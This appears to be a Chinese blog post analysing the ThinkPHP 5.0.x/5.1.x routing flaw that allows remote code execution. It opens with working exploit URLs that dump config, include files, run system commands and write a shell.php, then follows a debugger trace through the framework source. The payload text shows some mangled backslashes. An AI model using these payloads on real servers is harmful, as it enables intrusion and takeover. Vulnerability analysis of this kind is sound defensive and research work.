zoukankan      html  css  js  c++  java
  • 通俗易懂的thinkphp5.0.x 5.1.x 未开启强制路由导致RCE分析

    漏洞复现



    5.0.x

    ?s=index/thinkconfig/get&name=database.username # 获取配置信息
    ?s=index/	hinkLang/load&file=../../test.jpg    # 包含任意文件
    ?s=index/	hinkConfig/load&file=../../t.php     # 包含任意.php文件
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    5.1.x

    ?s=index/	hinkRequest/input&filter[]=system&data=pwd
    ?s=index/	hinkviewdriverPhp/display&content=<?php phpinfo();?>
    ?s=index/	hink	emplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/	hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/	hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    影响版本

    5.0.7<=thinkphp<=5.0.22
    5.1.x

    漏洞分析

    直接在入口文件处下断点

    一路跟到run()方法里面的路由检测部分

    跟进routeCheck()方法

    public function routeCheck()
        {
            $path = $this->request->path();
            $depr = $this->config('app.pathinfo_depr');
    
            // 路由检测
            $files = scandir($this->routePath);
            foreach ($files as $file) {
                if (strpos($file, '.php')) {
                    $filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
                    // 导入路由配置
                    $rules = include $filename;
                    if (is_array($rules)) {
                        $this->route->import($rules);
                    }
                }
            }
    
            if ($this->config('app.route_annotation')) {
                // 自动生成路由定义
                if ($this->debug) {
                    $this->build->buildRoute($this->config('app.controller_suffix'));
                }
    
                $filename = $this->runtimePath . 'build_route.php';
    
                if (is_file($filename)) {
                    include $filename;
                }
            }
    
            // 是否强制路由模式
            $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
    
            // 路由检测 返回一个Dispatch对象
            return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));
        }
    

    看到最上面$path通过path()方法获取,跟进一下path方法

    public function path()
        {
            if (is_null($this->path)) {
                $suffix   = $this->config->get('url_html_suffix');
                $pathinfo = $this->pathinfo();
                if (false === $suffix) {
                    // 禁止伪静态访问
                    $this->path = $pathinfo;
                } elseif ($suffix) {
                    // 去除正常的URL后缀
                    $this->path = preg_replace('/.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
                } else {
                    // 允许任何后缀访问
                    $this->path = preg_replace('/.' . $this->ext() . '$/i', '', $pathinfo);
                }
            }
    
            return $this->path;
        }
    

    最后返回的$path是$pathinfo获取来的,$pathinfo又是通过pathinfo()方法获取来的,跟进pathinfo()方法

    通过代码可以发现是通过URL获取来的,根据debug最后返回的值是我们传入的index/ hinkContainer/invokefunction
    回到path方法,经过一些处理,返回值还是index/ hinkContainer/invokefunction

    再回到routeCheck()方法,可以看到有如下判断

    // 是否强制路由模式
    $must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
    

    如果开启了强制路由,那么我们输入的路由将报错导致后面导致程序无法运行,也就不存在RCE漏洞,但是默认是开启的
    上面我们就分析完了routeCheck函数,得到了$dispatch的值

    接下来我们走到了

    $data = $dispatch->run();
    

    跟进一下run()方法
    首先是将/替换成了|,得到了$url

    然后使用parseUrl()方法处理$url得到$result
    跟进parseUrl()方法,关注如下一行代码

    list($path, $var) = $this->parseUrlPath($url);
    

    再跟进parseUrlPath()方法

    将$url里面的|换成了/,然后通过如下判断根据/将其进行分割成数组存入$path

    elseif (strpos($url, '/')) {
        // [模块/控制器/操作]
        $path = explode('/', $url);
    

    然后退出parseUrlPath()方法,退出parseUrl()方法,状态如下

    接着传入$result实例化Moudle类然后执行run方法
    跟进run()方法,接着通过URL获取控制器名

    获取操作名

    接着跟进实例化控制器,controller方法,保存在$instance


    跟进parseModuleAndClass()方法

    得到$class和$module的值
    接着回到$controller方法,判断类是否存在,如果存在则调用__get()方法,然后回到run方法

    判断方法在当前环境是否可以调用,当然可以,然后得到$call和$vars


    然后执行

    return Container::getInstance()->invokeMethod($call, $vars);
    

    跟进invokeMethod()方法,通过反射方式调用方法


    成功实现RCE

  • 相关阅读:
    Shared Memory in Windows NT
    Layered Memory Management in Win32
    软件项目管理的75条建议
    Load pdbs when you need it
    Stray pointer 野指针
    About the Rebase and Bind operation in the production of software
    About "Serious Error: No RTTI Data"
    Realizing 4 GB of Address Space[MSDN]
    [bbk4397] 第1集 第一章 AMS介绍
    [bbk3204] 第67集 Chapter 17Monitoring and Detecting Lock Contention(00)
  • 原文地址:https://www.cnblogs.com/0daybug/p/13739923.html
Copyright © 2011-2022 走看看